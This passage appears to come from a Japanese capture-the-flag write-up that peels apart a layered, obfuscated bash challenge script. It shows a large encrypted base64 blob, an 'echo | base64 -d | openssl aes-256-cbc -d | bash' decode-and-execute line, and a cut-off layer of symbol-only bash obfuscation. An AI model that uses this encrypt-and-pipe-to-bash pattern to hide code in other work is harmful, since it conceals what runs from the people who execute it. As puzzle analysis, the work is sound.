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
++ cut -c2,3,5,12
++ md5sum
++ echo -n 3
+ openssl aes-256-cbc -d -pass pass:cccc -md md5
Enter the password

18行目を見てみると、以下のような処理が確認できます。

echo U2Fsd<長い文字列>0rlk=|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

文字列をbase64デコードして、AESで復号し、bashで実行しているようです。AESで復号するキーは、$nを利用して計算しているようです。 上記の処理のbashを削除し、n=3を指定した状態で実行し、スクリプトを展開してみます。

$ export n=3; cat Beeeeeeeeeer_4.sh | head -n 18 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_5.sh

展開されたスクリプトを確認すると、以下のようになっていました。さらに難読化がひどくなっています。

__=$(. 2>&1);__=${__##*.};__=$(. 2>&1);__=${__##*.};${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[$$/$$])):$((___=___^___||++___))}${__:$[$[$$/$$]<<$[$$/$$]<<$[$$/$$]]:$((___=___^___||++___))}${__:$(($[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]]+$[($[$$/$$]<<$[$$/$$]<<$[$$/$$]<<$[$$/$$])+$[$$/$$]])):$((___=___^___||++___))} -- {z..A};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}";${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} _____</${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}/${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))};: ${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____